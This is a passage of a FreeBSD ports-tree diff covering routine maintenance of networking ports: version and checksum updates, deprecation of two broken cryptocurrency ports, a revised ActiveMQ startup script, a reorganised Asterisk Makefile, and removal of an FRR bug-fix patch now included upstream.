+1,5 @@ PORTNAME= transmission-rpc -DISTVERSION= 4.2.0 +DISTVERSION= 4.2.1 CATEGORIES= net-p2p python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/net-p2p/py-transmission-rpc/distinfo b/net-p2p/py-transmission-rpc/distinfo index f23da3bbbb5..bef5ab0055d 100644 --- a/net-p2p/py-transmission-rpc/distinfo +++ b/net-p2p/py-transmission-rpc/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681033040 -SHA256 (transmission_rpc-4.2.0.tar.gz) = 20c7a06cfdc9b3d2c883ac20f45f80fb4db532a9d4f33ce9ebf21618882d535b -SIZE (transmission_rpc-4.2.0.tar.gz) = 25101 +TIMESTAMP = 1682915849 +SHA256 (transmission_rpc-4.2.1.tar.gz) = 8712c37763e25eef84b9f89ab904671874c394e67ac04398eccab4bbd5632436 +SIZE (transmission_rpc-4.2.1.tar.gz) = 25790 diff --git a/net-p2p/qtum/Makefile b/net-p2p/qtum/Makefile index ed0959872e9..4983c6f747b 100644 --- a/net-p2p/qtum/Makefile +++ b/net-p2p/qtum/Makefile @@ -10,6 +10,8 @@ WWW= https://qtum.org/ LICENSE= GPLv3 +DEPRECATED= Broken for nearly a year +EXPIRATION_DATE= 2023-05-31 BROKEN_i386= does not compile: invalid operand for instruction ... ASJ(jnz, 0, b) ... "jnz" BROKEN= does not compile: error: expected ';' after expression diff --git a/net-p2p/zetacoin/Makefile b/net-p2p/zetacoin/Makefile index 0ca9f0e1437..ed4768e34ac 100644 --- a/net-p2p/zetacoin/Makefile +++ b/net-p2p/zetacoin/Makefile @@ -10,11 +10,13 @@ WWW= https://github.com/zetacoin/zetacoin LICENSE= MIT +BROKEN= error: use of undeclared identifier '_1' +DEPRECATED= Broken for nearly a year +EXPIRATION_DATE= 2023-06-01 + LIB_DEPENDS= libboost_date_time.so:devel/boost-libs \ libevent.so:devel/libevent -BROKEN= error: use of undeclared identifier '_1' - USES= autoreconf compiler:c++11-lib gmake libtool pkgconfig shebangfix ssl USE_GITHUB= yes diff --git a/net/Makefile b/net/Makefile index 5691f3ea140..7e8140d7f26 100644 --- a/net/Makefile +++ b/net/Makefile @@ -1142,6 +1142,7 @@ SUBDIR += py-socketio-client SUBDIR += py-socksio SUBDIR += py-softlayer + SUBDIR += py-speedometer SUBDIR += py-speedtest-cli SUBDIR += py-sshtunnel SUBDIR += py-sshuttle diff --git a/net/activemq/Makefile b/net/activemq/Makefile index 6d85ef5be43..953c048cb82 100644 --- a/net/activemq/Makefile +++ b/net/activemq/Makefile @@ -1,11 +1,11 @@ PORTNAME= activemq -PORTVERSION= 5.17.2 +PORTVERSION= 5.18.1 CATEGORIES= net java MASTER_SITES= APACHE/${PORTNAME}/${PORTVERSION} DISTNAME= apache-${PORTNAME}-${PORTVERSION} EXTRACT_SUFX= -bin.tar.gz -MAINTAINER= ports@FreeBSD.org +MAINTAINER= james@elstone.net COMMENT= Messaging and Integration Patterns provider WWW= https://activemq.apache.org @@ -15,6 +15,7 @@ LICENSE_FILE= ${WRKSRC}/LICENSE USES= cpe CPE_VENDOR= apache USE_JAVA= yes +JAVA_VERSION= 18 USE_RC_SUBR= activemq NO_ARCH= yes @@ -30,7 +31,8 @@ PORTEXAMPLES= * OPTIONS_DEFINE= DOCS EXAMPLES do-install: - ${RM} ${WRKSRC}/conf/log4j.properties.orig + @${REINPLACE_CMD} -i '' -e 's|$\{sys:activemq.data\}\/audit.log|\$\{sys:activemq.logs\}\/audit.log|g' ${WRKSRC}/conf/log4j2.properties + @${REINPLACE_CMD} -i '' -e 's|$\{sys:activemq.data\}\/activemq.log|\$\{sys:activemq.logs\}\/activemq.log|g' ${WRKSRC}/conf/log4j2.properties @${MKDIR} ${STAGEDIR}${ETCDIR} cd ${WRKSRC}/conf && for f in *; do \ ${INSTALL_DATA} ${WRKSRC}/conf/$$f ${STAGEDIR}${ETCDIR}/$$f.sample; \ diff --git a/net/activemq/distinfo b/net/activemq/distinfo index 71379e3fc51..1b911998555 100644 --- a/net/activemq/distinfo +++ b/net/activemq/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1668099098 -SHA256 (apache-activemq-5.17.2-bin.tar.gz) = 4216387240ef38e912f88162c52e26128f0f72d15910852d12eb0a7845819195 -SIZE (apache-activemq-5.17.2-bin.tar.gz) = 48943814 +TIMESTAMP = 1682592741 +SHA256 (apache-activemq-5.18.1-bin.tar.gz) = fedd7bde9af5babaeb072bf7aeb2065d9021c26163ded639c87a32d673795472 +SIZE (apache-activemq-5.18.1-bin.tar.gz) = 49261889 diff --git a/net/activemq/files/activemq.in b/net/activemq/files/activemq.in index cc399619b13..10a7d237e5b 100644 --- a/net/activemq/files/activemq.in +++ b/net/activemq/files/activemq.in @@ -10,19 +10,40 @@ # # activemq_enable (bool): Set to NO by default. # Set it to YES to enable activemq. +# # activemq_user (username): Set to activemq by default. # Set it to required username. +# # activemq_group (group): Set to activemq by default. # Set it to required group. +# # activemq_classpath (path): Set to %%DATADIR%% by default. # Set it to java classes directory. +# # activemq_home (path): Set to %%DATADIR%% by default. # Set it to java home directory. +# # activemq_javargs (args): Set to -Xmx256M by default. # See java -h for available arguments. +# # activemq_stop_timeout (num): Set to "10" by default. # Set the timeout in seconds to shutdown. # +# activemq_java_home (path): Set the path to the jvm to use. +# Set to openJDK18 by default. +# +# activemq_debug_precmd (bool): Give java command line that +# will be run, when started for debugging outside +# of being demonised. Helpful for people new to +# activemq. +# +# activemq_audit_log (bool): Enable audit logging by default. +# In production, you will have to evaluate enabling +# this option (set to NO to disable), as it has +# disk I/O and storage implications which may +# impact expected performance. By disabling the +# audit log, security logging maybe reduced +# depending on your configuration. . /etc/rc.subr @@ -42,24 +63,37 @@ load_rc_config $name : ${activemq_javargs:='-Xmx512M -Dorg.apache.activemq.UseDedicatedTaskRunner=true -Djava.util.logging.config.file=logging.properties -Dcom.sun.management.jmxremote'} : ${activemq_stop_timeout:="10"} : ${activemq_hostname:=`/bin/hostname`} +: ${activemq_java_home:='%%LOCALBASE%%/openjdk18/bin/java'} +: ${activemq_debug_precmd:=NO} +: ${activemq_audit_log:=YES} pidfile=/var/run/${name}.pid required_files="%%ETCDIR%%/activemq.xml" jar_file="%%DATADIR%%/bin/activemq.jar" -java_options=" -server -jar ${activemq_javargs} \ - -Dactivemq.classpath=${activemq_classpath} \ - -Dactivemq.conf=${activemq_conf} \ - -Dactivemq.data=${activemq_data} \ - -Dactivemq.logs=${activemq_logs} \ - -Dactivemq.home=${activemq_home} \ - -Dactivemq.base=${activemq_home} \ - -Dactivemq.hostname=${activemq_hostname}" -java_command="%%LOCALBASE%%/bin/java ${java_options} ${jar_file}" +activemq_audit_args="" +if checkyesno activemq_audit_log; then + activemq_audit_args="-Dorg.apache.activemq.audit=true" +fi + +jolokia_conf="file:${activemq_conf}/jolokia-access.xml" + +java_options="-server -jar ${activemq_javargs} \ +-Dactivemq.classpath=${activemq_classpath} \ +-Dactivemq.conf=${activemq_conf} \ +-Dactivemq.data=${activemq_data} \ +-Dactivemq.logs=${activemq_logs} \ +-Dactivemq.home=${activemq_home} \ +-Dactivemq.base=${activemq_home} \ +-Djolokia.conf=${jolokia_conf} \ +${activemq_audit_args} \ +-Dactivemq.hostname=${activemq_hostname}" + +java_command="${activemq_java_home} ${java_options} ${jar_file}" command="/usr/sbin/daemon" -command_args="-f -p ${pidfile} ${java_command} start" +command_args="-p ${pidfile} -o ${activemq_logs}/daemon.log ${java_command} start" start_precmd="activemq_precmd" status_cmd="activemq_status" stop_cmd="activemq_stop" @@ -69,6 +103,9 @@ activemq_precmd() { chown ${activemq_user}:${activemq_group} ${pidfile} /usr/bin/install -d -m 0750 -o ${activemq_user} -g ${activemq_group} ${activemq_logs} /usr/bin/install -d -m 0750 -o ${activemq_user} -g ${activemq_group} ${activemq_data} + if checkyesno activemq_debug_precmd; then + echo "Starting with Java command: ${java_command}" + fi } activemq_stop() { diff --git a/net/asterisk18/Makefile b/net/asterisk18/Makefile index 9d3f15f8d14..3e18e68a68a 100644 --- a/net/asterisk18/Makefile +++ b/net/asterisk18/Makefile @@ -9,6 +9,7 @@ MASTER_SITE_SUBDIR= asterisk/ \ PKGNAMESUFFIX= 18 DISTFILES= ${DISTNAME}${EXTRACT_SUFX} DIST_SUBDIR= ${PORTNAME} +EXTRACT_ONLY:= ${DISTNAME}${EXTRACT_SUFX} MAINTAINER= ports@FreeBSD.org COMMENT= Open Source PBX and telephony toolkit @@ -22,14 +23,16 @@ LIB_DEPENDS= libuuid.so:misc/e2fsprogs-libuuid \ USES= bison compiler:c11 cpe gmake gnome iconv libedit localbase \ pkgconfig shebangfix sqlite ssl ncurses +CPE_VENDOR= digium +USE_GITHUB= nodefault USE_GNOME= libxml2 USE_LDCONFIG= yes USE_RC_SUBR= asterisk -USE_GITHUB= nodefault -EXTRACT_ONLY:= ${DISTNAME}${EXTRACT_SUFX} +SHEBANG_FILES= agi/agi-test.agi \ + agi/jukebox.agi \ + contrib/scripts/astversion -PJSIP_VERSION= 2.13 GNU_CONFIGURE= yes CONFIGURE_ARGS= --datarootdir=${DATADIR} \ --with-ilbc=internal \ @@ -37,12 +40,8 @@ CONFIGURE_ARGS= --datarootdir=${DATADIR} \ --with-ssl=${OPENSSLBASE} \ --with-externals-cache=${DISTDIR}/${DIST_SUBDIR} -CPE_VENDOR= digium - -SHEBANG_FILES= agi/agi-test.agi \ - agi/jukebox.agi \ - contrib/scripts/astversion -LDFLAGS+= -L. +MAKE_ARGS+= NOISY_BUILD=yes \ + ASTDATADIR=${DATADIR} MAKE_ENV= PTHREAD_LIBS="-lpthread" \ MKDIR="${MKDIR}" \ PWLIBDIR=${LOCALBASE}/share/pwlib \ @@ -50,62 +49,57 @@ MAKE_ENV= PTHREAD_LIBS="-lpthread" \ DOCSDIR=${DOCSDIR} \ ASTCFLAGS="${CFLAGS}" \ ASTLDFLAGS="${LDFLAGS}" -MAKE_ARGS+= NOISY_BUILD=yes \ - ASTDATADIR=${DATADIR} + +LDFLAGS+= -L. CONFLICTS= ossp-uuid CONFLICTS_BUILD= linuxthreads CONFLICTS_INSTALL= asterisk13 asterisk16 +USERS= ${ASTERISK_USER} +GROUPS= ${ASTERISK_GROUP} dahdi + OPTIONS_DEFINE= ASTVERSION BACKTRACE CURL EXCHANGE FREETDS G729 LDAP LUA MACRO \ MP3PLAYER OOH323 OPTIMIZED_CFLAGS PJSIP PORTAUDIO RADIUS SNMP \ SPANDSP SRTP SYSINFO URIPARSER XMLDOC XMPP -OPTIONS_DEFAULT= CURL FREETDS GSM LUA MACRO MP3PLAYER NEWT ODBC OPUS MYSQL PGSQL \ - PJSIP PORTAUDIO RADIUS SNMP SPANDSP SPEEX SRTP URIPARSER \ - VORBIS XMLDOC - -OPTIONS_DEFINE_i386= DAHDI GEOLOCATION -OPTIONS_DEFINE_amd64= DAHDI GEOLOCATION OPTIONS_DEFINE_aarch64= GEOLOCATION -OPTIONS_DEFINE_sparc64= DAHDI +OPTIONS_DEFINE_amd64= DAHDI GEOLOCATION +OPTIONS_DEFINE_i386= DAHDI GEOLOCATION OPTIONS_DEFINE_powerpc= DAHDI OPTIONS_DEFINE_powerpc64= DAHDI OPTIONS_DEFINE_powerpc64le= DAHDI - -OPTIONS_DEFAULT_i386= DAHDI XMPP +OPTIONS_DEFINE_sparc64= DAHDI +OPTIONS_DEFAULT= CURL FREETDS GSM LUA MACRO MP3PLAYER NEWT ODBC OPUS MYSQL PGSQL \ + PJSIP PORTAUDIO RADIUS SNMP SPANDSP SPEEX SRTP URIPARSER \ + VORBIS XMLDOC OPTIONS_DEFAULT_amd64= DAHDI XMPP -OPTIONS_DEFAULT_sparc64= DAHDI XMPP +OPTIONS_DEFAULT_i386= DAHDI XMPP OPTIONS_DEFAULT_powerpc= DAHDI XMPP OPTIONS_DEFAULT_powerpc64= DAHDI XMPP OPTIONS_DEFAULT_powerpc64le= DAHDI XMPP +OPTIONS_DEFAULT_sparc64= DAHDI XMPP -OPTIONS_GROUP= CODECS +OPTIONS_GROUP= CODECS DATABASE OPTIONS_GROUP_CODECS= GSM NEWG711 OPUS SPEEX VORBIS -CODECS_DESC= Encoder/Decoder (Codec) Support - -OPTIONS_GROUP+= DATABASE OPTIONS_GROUP_DATABASE= MYSQL ODBC PGSQL -DATABASE_DESC= Database Support OPTIONS_MULTI= MENU OPTIONS_MULTI_MENU= NCURSES NEWT -MENU_DESC= Menuselect Interface Backend -NEWT_DESC= Newt User Interface - -ASTERISK_CORE_G729_SOUNDS= asterisk-core-sounds-en-g729-1.5.tar.gz -ASTERISK_MOH_G729_SOUNDS= asterisk-moh-opsound-g729-2.03.tar.gz -G729_DISTFILES= ${ASTERISK_CORE_G729_SOUNDS}:g729 \ - ${ASTERISK_MOH_G729_SOUNDS}:g729 +OPTIONS_SUB= yes ASTVERSION_DESC?= Install astversion (requires bash) BACKTRACE_DESC?= Stack backtrace support via (lib)execinfo +CODECS_DESC= Encoder/Decoder (Codec) Support DAHDI_DESC?= DAHDI support +DATABASE_DESC= Database Support EXCHANGE_DESC?= Exchange calendar support G729_DESC?= Install G.729 format sounds for Music-on-Hold (MoH) GEOLOCATION_DESC?= Enable SIP Geolocation support MACRO_DESC?= Enable app_macro (deprecated) +MENU_DESC= Menuselect Interface Backend MP3PLAYER_DESC= Install MP3 Player for Music-On-Hold (mpg123) NEWG711_DESC?= New G711 Codec +NEWT_DESC= Newt User Interface OOH323_DESC?= ooh323 support OPUS_DESC?= Opus Codec PJSIP_DESC?= Build the PJSIP based SIP channel @@ -115,110 +109,123 @@ URIPARSER_DESC?= Use RFC 3986 compliant uriparser library XMLDOC_DESC?= Build and install XML documentation XMPP_DESC?= XMPP/GTALK support -OPTIONS_SUB= yes - ASTVERSION_RUN_DEPENDS= bash:shells/bash BACKTRACE_CONFIGURE_WITH= execinfo -CURL_CONFIGURE_WITH= libcurl CURL_LIB_DEPENDS= libcurl.so:ftp/curl +CURL_CONFIGURE_WITH= libcurl -DAHDI_CONFIGURE_WITH= dahdi openr2 DAHDI_LIB_DEPENDS= libpri.so:misc/libpri \ libopenr2.so:misc/openr2 \ libtonezone.so:misc/dahdi +DAHDI_CONFIGURE_WITH= dahdi openr2 -EXCHANGE_CONFIGURE_OFF= --without-neon --without-neon29 EXCHANGE_LIB_DEPENDS= libneon.so:www/neon \ libexpat.so:textproc/expat2 EXCHANGE_USES= gettext-runtime +EXCHANGE_CONFIGURE_OFF= --without-neon --without-neon29 +FREETDS_LIB_DEPENDS= libsybdb.so:databases/freetds FREETDS_CONFIGURE_ON= --with-tds=${LOCALBASE} FREETDS_CONFIGURE_OFF= --without-tds -FREETDS_LIB_DEPENDS= libsybdb.so:databases/freetds + +G729_DISTFILES= ${ASTERISK_CORE_G729_SOUNDS}:g729 \ + ${ASTERISK_MOH_G729_SOUNDS}:g729 GEOLOCATION_USE= GNOME=libxslt -GSM_CONFIGURE_WITH= gsm GSM_LIB_DEPENDS= libgsm.so:audio/gsm +GSM_CONFIGURE_WITH= gsm -LDAP_CONFIGURE_WITH= ldap LDAP_USES= ldap +LDAP_CONFIGURE_WITH= ldap -LUA_CONFIGURE_WITH= lua LUA_USES= lua +LUA_CONFIGURE_WITH= lua LUA_CFLAGS= -I${LUA_INCDIR} LUA_LDFLAGS= -L${LUA_LIBDIR} -MYSQL_CONFIGURE_WITH= mysqlclient -MYSQL_USES= mysql - MP3PLAYER_RUN_DEPENDS= mpg123:audio/mpg123 +MYSQL_LIB_DEPENDS= libzstd.so:archivers/zstd \ + libunwind.so:devel/libunwind +MYSQL_USES= mysql +MYSQL_CONFIGURE_WITH= mysqlclient + NCURSES_USES= ncurses + NEWT_LIB_DEPENDS= libnewt.so:devel/newt -ODBC_CONFIGURE_WITH= unixodbc -ODBC_CONFIGURE_ON= --with-ltdl ODBC_LIB_DEPENDS= libodbc.so:databases/unixODBC \ libltdl.so:devel/libltdl +ODBC_CONFIGURE_ON= --with-ltdl +ODBC_CONFIGURE_WITH= unixodbc -OPUS_LIB_DEPENDS= libopus.so:audio/opus OPUS_EXTRACT_ONLY= ${DISTFILE_opus} +OPUS_LIB_DEPENDS= libopus.so:audio/opus OPUS_GH_TUPLE= traud:asterisk-opus:83e1b458c77e0e287adeca494eeb79edb077b0ff:opus -PGSQL_CONFIGURE_WITH= postgres PGSQL_USES= pgsql +PGSQL_CONFIGURE_WITH= postgres -PJSIP_CONFIGURE_WITH= pjproject pjproject-bundled PJSIP_LIB_DEPENDS= libsrtp2.so:net/libsrtp2 \ libspeex.so:audio/speex \ libspeexdsp.so:audio/speexdsp PJSIP_GH_TUPLE= pjsip:pjproject:${PJSIP_VERSION}:pjsip +PJSIP_CONFIGURE_WITH= pjproject pjproject-bundled -PORTAUDIO_CONFIGURE_WITH= portaudio PORTAUDIO_LIB_DEPENDS= libportaudio.so:audio/portaudio +PORTAUDIO_CONFIGURE_WITH= portaudio -RADIUS_CONFIGURE_WITH= radius RADIUS_LIB_DEPENDS= libradiusclient-ng.so:net/radiusclient +RADIUS_CONFIGURE_WITH= radius -SNMP_CONFIGURE_WITH= netsnmp SNMP_LIB_DEPENDS= libnetsnmp.so:net-mgmt/net-snmp \ libpkg.so:${PKG_ORIGIN} +SNMP_CONFIGURE_WITH= netsnmp -SPANDSP_CONFIGURE_WITH= spandsp SPANDSP_LIB_DEPENDS= libspandsp.so:comms/spandsp \ libtiff.so:graphics/tiff +SPANDSP_CONFIGURE_WITH= spandsp -SPEEX_CONFIGURE_WITH= speex SPEEX_LIB_DEPENDS= libspeex.so:audio/speex \ libspeexdsp.so:audio/speexdsp +SPEEX_CONFIGURE_WITH= speex -SRTP_CONFIGURE_WITH= srtp SRTP_LIB_DEPENDS= libsrtp2.so:net/libsrtp2 +SRTP_CONFIGURE_WITH= srtp SYSINFO_LIB_DEPENDS= libsysinfo.so:devel/libsysinfo -URIPARSER_CONFIGURE_WITH= uriparser URIPARSER_LIB_DEPENDS= liburiparser.so:net/uriparser +URIPARSER_CONFIGURE_WITH= uriparser -VORBIS_CONFIGURE_WITH= ogg VORBIS_LIB_DEPENDS= libvorbis.so:audio/libvorbis \ libogg.so:audio/libogg +VORBIS_CONFIGURE_WITH= ogg XMLDOC_CONFIGURE_ENABLE= xmldoc -XMPP_CONFIGURE_WITH= iksemel XMPP_LIB_DEPENDS= libiksemel.so:textproc/iksemel +XMPP_CONFIGURE_WITH= iksemel +ASTERISK_CORE_G729_SOUNDS= asterisk-core-sounds-en-g729-1.5.tar.gz +ASTERISK_MOH_G729_SOUNDS= asterisk-moh-opsound-g729-2.03.tar.gz ASTERISK_USER?= asterisk ASTERISK_GROUP?= asterisk -USERS= ${ASTERISK_USER} -GROUPS= ${ASTERISK_GROUP} dahdi +PJSIP_VERSION= 2.13 .include + +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +USES+= llvm:max=14 +CPP= clang-cpp${LLVM_VERSION} +CC= clang${LLVM_VERSION} +CXX= clang++${LLVM_VERSION} +.endif + .include .if empty(ICONV_LIB) diff --git a/net/axa/Makefile b/net/axa/Makefile index 6b584ab3f39..754aa293dd4 100644 --- a/net/axa/Makefile +++ b/net/axa/Makefile @@ -1,5 +1,5 @@ PORTNAME= axa -PORTVERSION= 2.2.2 +PORTVERSION= 3.0.1 PORTREVISION= 0 CATEGORIES= net dns MASTER_SITES= FARSIGHT LOCAL/truckman/farsight @@ -13,8 +13,6 @@ LICENSE_COMB= multi LICENSE_FILE_APACHE20= ${WRKSRC}/COPYRIGHT LICENSE_FILE_PD= ${WRKSRC}/license_pd -BROKEN_aarch64= alignment error at link time - BUILD_DEPENDS= bash:shells/bash \ sie-nmsg>0:net/sie-nmsg LIB_DEPENDS= liblmdb.so:databases/lmdb \ diff --git a/net/axa/distinfo b/net/axa/distinfo index 965c249944d..7970dea41bb 100644 --- a/net/axa/distinfo +++ b/net/axa/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1669005448 -SHA256 (axa-2.2.2.tar.gz) = 7cba4ccf6bae1d972a614b4acb1cf43fb7635bfd9fe777a6831b528f0218bce3 -SIZE (axa-2.2.2.tar.gz) = 584394 +TIMESTAMP = 1682645278 +SHA256 (axa-3.0.1.tar.gz) = 53e10fc17df56385d693fcd6d97cdb070585b499c7c1bb4e4dc411a4ec64f125 +SIZE (axa-3.0.1.tar.gz) = 570207 diff --git a/net/axa/pkg-plist b/net/axa/pkg-plist index 80827bda08e..d8d4e28c7a2 100644 --- a/net/axa/pkg-plist +++ b/net/axa/pkg-plist @@ -1,7 +1,6 @@ bin/axa_link_certs bin/axa_make_cert bin/axa_server_cert -bin/axa_tsindextool bin/radtool bin/radtunnel bin/sratool @@ -15,7 +14,7 @@ include/axa/client_config.h include/axa/dns_walk.h include/axa/fields.h include/axa/json.h -include/axa/mdb.h +include/axa/kickfile.h include/axa/strbuf.h include/axa/open_nmsg_out.h include/axa/protocol.h @@ -27,8 +26,8 @@ include/axa/yajl_shortcuts.h include/libmy/b64_encode.h lib/libaxa.a lib/libaxa.so -lib/libaxa.so.1 -lib/libaxa.so.1.1.1 +lib/libaxa.so.3 +lib/libaxa.so.3.0.0 libdata/pkgconfig/libaxa.pc man/man1/radtool.1.gz man/man1/radtunnel.1.gz @@ -37,4 +36,3 @@ man/man1/sratunnel.1.gz man/man8/axa_link_certs.8.gz man/man8/axa_make_cert.8.gz man/man8/axa_server_cert.8.gz -man/man8/axa_tsindextool.8.gz diff --git a/net/binkd/Makefile b/net/binkd/Makefile index 3c157f3fec3..96ea3b3bce7 100644 --- a/net/binkd/Makefile +++ b/net/binkd/Makefile @@ -2,7 +2,7 @@ PORTNAME= binkd DISTVERSION= 1.1a-115 CATEGORIES= net -MAINTAINER= ports@FreeBSD.org +MAINTAINER= dz@dolik.dev COMMENT= Fidonet TCP/IP mailer WWW= https://github.com/pgul/binkd/ diff --git a/net/cloud-init-devel/Makefile b/net/cloud-init-devel/Makefile index f3e1edd1543..770bfa0cd0e 100644 --- a/net/cloud-init-devel/Makefile +++ b/net/cloud-init-devel/Makefile @@ -1,6 +1,6 @@ PORTNAME= cloud-init -DISTVERSION= 23.1-70 -DISTVERSIONSUFFIX= -g34637a49d +DISTVERSION= 23.1-76 +DISTVERSIONSUFFIX= -gaa0cd62c8 CATEGORIES= net python PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} PKGNAMESUFFIX= -devel diff --git a/net/cloud-init-devel/distinfo b/net/cloud-init-devel/distinfo index aaaa53677f8..9bbefff9bb7 100644 --- a/net/cloud-init-devel/distinfo +++ b/net/cloud-init-devel/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682377063 -SHA256 (canonical-cloud-init-23.1-70-g34637a49d_GH0.tar.gz) = 1cf7540aaea1966399b881a9b4d0a2c574590026c0febd1106504098817b0c01 -SIZE (canonical-cloud-init-23.1-70-g34637a49d_GH0.tar.gz) = 1551547 +TIMESTAMP = 1682530594 +SHA256 (canonical-cloud-init-23.1-76-gaa0cd62c8_GH0.tar.gz) = 83f3104e01b79b18de33ac91ff7f3d9650717ef905e7c3a79d20ffb675213b3a +SIZE (canonical-cloud-init-23.1-76-gaa0cd62c8_GH0.tar.gz) = 1557216 diff --git a/net/courier-sox/Makefile b/net/courier-sox/Makefile index 2ed68ba5873..c102fcb8b2a 100644 --- a/net/courier-sox/Makefile +++ b/net/courier-sox/Makefile @@ -1,5 +1,5 @@ PORTNAME= courier-sox -DISTVERSION= 0.16 +DISTVERSION= 0.17 CATEGORIES= net MASTER_SITES= SF/courier/sox/${DISTVERSION} @@ -24,6 +24,7 @@ USE_LDCONFIG= yes USE_RC_SUBR= sockd GNU_CONFIGURE= yes + INSTALL_TARGET= install-strip TEST_TARGET= check diff --git a/net/courier-sox/distinfo b/net/courier-sox/distinfo index 43031b3118c..3e0894a94ff 100644 --- a/net/courier-sox/distinfo +++ b/net/courier-sox/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1658065127 -SHA256 (courier-sox-0.16.tar.bz2) = 16dab34e2312dc773246bee358a71fc8b6f835517bef6f080d6be6822560dd36 -SIZE (courier-sox-0.16.tar.bz2) = 392157 +TIMESTAMP = 1682936840 +SHA256 (courier-sox-0.17.tar.bz2) = 9e5a4141e3eda1c0976e5a4e5697d0b300cc75ae4591f5ad4f0560fca0543ccf +SIZE (courier-sox-0.17.tar.bz2) = 399251 diff --git a/net/fb303/Makefile b/net/fb303/Makefile index d69aa0c312e..e52552818d0 100644 --- a/net/fb303/Makefile +++ b/net/fb303/Makefile @@ -1,6 +1,6 @@ PORTNAME= fb303 DISTVERSIONPREFIX= v -DISTVERSION= 2023.04.24.00 +DISTVERSION= 2023.05.01.00 CATEGORIES= net MAINTAINER= yuri@FreeBSD.org diff --git a/net/fb303/distinfo b/net/fb303/distinfo index d2a5a34de0d..01e113b7e9d 100644 --- a/net/fb303/distinfo +++ b/net/fb303/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682372459 -SHA256 (facebook-fb303-v2023.04.24.00_GH0.tar.gz) = 381cab97fbeea722a7b9ff6efa1483916bb77e6806c3bf8b92fdd618386f5033 -SIZE (facebook-fb303-v2023.04.24.00_GH0.tar.gz) = 243336 +TIMESTAMP = 1682966466 +SHA256 (facebook-fb303-v2023.05.01.00_GH0.tar.gz) = 3e19a508fe8221e98cd696ac8f4edd4584e2a57ec6aa3b8cb45fe2d0fbf7aa69 +SIZE (facebook-fb303-v2023.05.01.00_GH0.tar.gz) = 243315 diff --git a/net/frr8/Makefile b/net/frr8/Makefile index acdfa1ea058..749dc6d4edc 100644 --- a/net/frr8/Makefile +++ b/net/frr8/Makefile @@ -1,5 +1,5 @@ PORTNAME= frr -PORTVERSION= 8.5 +PORTVERSION= 8.5.1 DISTVERSIONPREFIX= frr- PORTREVISION= 1 CATEGORIES= net @@ -93,7 +93,7 @@ GROUPS= frr frrvty CPPFLAGS+= -I${LOCALBASE}/include LDFLAGS+= -L${LOCALBASE}/lib -# PIM compile but doesn't work on FreeBSD +# PIMD and PBRD compile but doesn't work on FreeBSD CONFIGURE_ARGS= --enable-user=frr \ --enable-group=frr \ --enable-vty-group=frrvty \ @@ -104,6 +104,7 @@ CONFIGURE_ARGS= --enable-user=frr \ --disable-pathd \ --disable-ospfclient \ --disable-pimd \ + --disable-pbrd \ --with-vtysh-pager=cat MANPAGES_BUILD_DEPENDS= ${PYTHON_PKGNAMEPREFIX}sphinx>=0,1:textproc/py-sphinx@${PY_FLAVOR} diff --git a/net/frr8/distinfo b/net/frr8/distinfo index 3fb541d03ff..4bcdef346e2 100644 --- a/net/frr8/distinfo +++ b/net/frr8/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1679345197 -SHA256 (FRRouting-frr-frr-8.5_GH0.tar.gz) = 98d471b3caa6da0ab5bac2027e136bc9942e3e3357a7850b135f4b337c963d24 -SIZE (FRRouting-frr-frr-8.5_GH0.tar.gz) = 10068379 +TIMESTAMP = 1682875450 +SHA256 (FRRouting-frr-frr-8.5.1_GH0.tar.gz) = 48fd98dc287021a4cf013d9475a22dbf0d082434fa035272b232f4fea2d4589f +SIZE (FRRouting-frr-frr-8.5.1_GH0.tar.gz) = 10070910 diff --git a/net/frr8/files/patch-bgpd_bgp__lcommunity.c b/net/frr8/files/patch-bgpd_bgp__lcommunity.c deleted file mode 100644 index 9f8566cea61..00000000000 --- a/net/frr8/files/patch-bgpd_bgp__lcommunity.c +++ /dev/null @@ -1,42 +0,0 @@ ---- bgpd/bgp_lcommunity.c.orig 2023-03-13 14:01:47 UTC -+++ bgpd/bgp_lcommunity.c -@@ -211,12 +211,13 @@ static void set_lcommunity_string(struct lcommunity *l - } - - /* 1 space + lcom->size lcom strings + null terminator */ -- size_t str_buf_sz = BUFSIZ; -+ size_t str_buf_sz = (LCOMMUNITY_STRLEN * lcom->size) + 2; - str_buf = XCALLOC(MTYPE_LCOMMUNITY_STR, str_buf_sz); - -+ len = 0; - for (i = 0; i < lcom->size; i++) { - if (i > 0) -- strlcat(str_buf, " ", str_buf_sz); -+ len = strlcat(str_buf, " ", str_buf_sz); - - pnt = lcom->val + (i * LCOMMUNITY_SIZE); - pnt = ptr_get_be32(pnt, &global); -@@ -229,11 +230,22 @@ static void set_lcommunity_string(struct lcommunity *l - snprintf(lcsb, sizeof(lcsb), "%u:%u:%u", global, local1, - local2); - -+ /* -+ * Aliases can cause havoc, if the alias length is greater -+ * than the LCOMMUNITY_STRLEN for a particular item -+ * then we need to realloc the memory associated -+ * with the string so that it can fit -+ */ - const char *com2alias = - translate_alias ? bgp_community2alias(lcsb) : lcsb; -+ size_t individual_len = strlen(com2alias); -+ if (individual_len + len > str_buf_sz) { -+ str_buf_sz = individual_len + len + 1; -+ str_buf = XREALLOC(MTYPE_LCOMMUNITY_STR, str_buf, -+ str_buf_sz); -+ } - - len = strlcat(str_buf, com2alias, str_buf_sz); -- assert((unsigned int)len < str_buf_sz); - - if (make_json) { - json_string = json_object_new_string(com2alias); diff --git a/net/frr8/pkg-plist b/net/frr8/pkg-plist index 106f9f2a033..8de4518c4a0 100644 --- a/net/frr8/pkg-plist +++ b/net/frr8/pkg-plist @@ -167,7 +167,6 @@ lib/libfrrcares.so.0.0.0 %%MANPAGES%%%%LDPD%%man/man8/frr-ldpd.8.gz %%MANPAGES%%man/man8/frr-ospf6d.8.gz %%MANPAGES%%man/man8/frr-ospfd.8.gz -%%MANPAGES%%man/man8/frr-pbrd.8.gz %%MANPAGES%%man/man8/frr-ripd.8.gz %%MANPAGES%%man/man8/frr-ripngd.8.gz %%MANPAGES%%man/man8/frr-zebra.8.gz @@ -180,7 +179,6 @@ sbin/fabricd 